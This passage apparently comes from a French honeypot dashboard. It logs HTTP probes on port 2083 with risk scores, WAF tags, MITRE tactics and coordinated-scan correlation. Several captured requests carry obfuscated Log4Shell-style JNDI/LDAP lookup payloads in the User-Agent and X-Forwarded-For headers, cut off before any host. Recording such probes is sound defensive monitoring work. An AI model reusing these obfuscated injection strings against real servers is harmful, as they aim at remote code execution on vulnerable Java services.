"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:06 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe)
Élevée
Moyen · 46
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
http_auth_header_token
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 46
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:2083
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:2083 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${do:-j}${qpm:-n}${wir:g59i:t5mi:-d}${vh:v:gay:-i}${sf
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "ea42ecbc54c9c495a92c7dd11f2463e9f5b9ede0",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.8744845400367725,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.4,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 46,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "1d392e71a6e2a9b9e51b6b1b081276dd413a2f7a",
"event_fingerprint": "fd4a51dbd7a851ae81324cfd190fb8c00f059275",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 46,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "89314706dd8ff6f8f26a0652e7346102",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 46
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${do:-j}${qpm:-n}${wir:g59i:t5mi:-d}${vh:v:gay:-i}${sf",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${do:-j}${qpm:-n}${wir:g59i:t5mi:-d}${vh:v:gay:-i}${sf",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "79da1713b5cbc2997851b1df613fd5f1ed06b736",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 46\/100",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 46,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 46,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:06 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5h…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
2083
Chemin / cible
/
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-/}${4ts:u5t:-/}${3i:y:-U}${dy:-A}${60uf:tv6:m380:-l}${xrk:nds:gjl1:-0}${9oxt:nrh…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: 62.3.50.33:2083
Accept: */*
User-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5h
Requête brute (extrait)
POST / HTTP/1.1 Host: 62.3.50.33:2083 Accept: */* User-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-/}${4ts:u5t:-/}${3i:y:-U}${dy:-A}${60uf:tv6:m380:-l}${xrk:nds:gjl1:-0}${
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "07043c65fba3e1a7b2cc62eeb8bf6d9c9f20a97c",
"http_host_hash": "ea42ecbc54c9c495a92c7dd11f2463e9f5b9ede0",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "5258b8569c77724e5613f5aa60d7b9e2d4edc69a",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.786009393623276,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.4,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "16fe7c0b7577756e38a50f14030b0a17279a2a6c",
"event_fingerprint": "fd4a51dbd7a851ae81324cfd190fb8c00f059275",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "c0d47b56b8fe17ef2158b080d3af00b8",
"payload_hash": "458e57f8a75fc09e2cf5a1d7c1dcb1e0",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5h",
"method": "POST",
"path": "\/",
"user_agent": "${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-\/}${4ts:u5t:-\/}${3i:y:-U}${dy:-A}${60uf:tv6:m380:-l}${xrk:nds:gjl1:-0}${9oxt:nrhu:-c}${hp:eplf:vhxr:--}${${zqv:-s}${ens5:-y}${4kp0:ypb9:\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-\/}${4ts:u5t:-\/}${3i:y:-U}${dy:-A}${60uf:tv6:m380:-l}${xrk:nds:gjl1:-0}${",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5h",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-\/}${4ts:u5t:-\/}${3i:y:-U}${dy:-A}${60uf:tv6:m380:-l}${xrk:nds:gjl1:-0}${9oxt:nrhu:-c}${hp:eplf:vhxr:--}${${zqv:-s}${ens5:-y}${4kp0:ypb9:\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-\/}${4ts:u5t:-\/}${3i:y:-U}${dy:-A}${60uf:tv6:m380:-l}${xrk:nds:gjl1:-0}${",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5h",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0293e8bcbb7ca5717acc853b4c1336c778d8978e",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5h",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5hb:-l}${frhy:-d}${jgm1:-a}${ir:yb3j:ncq:-p}${i:-:}${nl6:-\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${3g:-j}${6q5j:f3s4:-n}${k7:-d}${8to:-i}${48:ane:13jz:-:}${5h",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:05 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
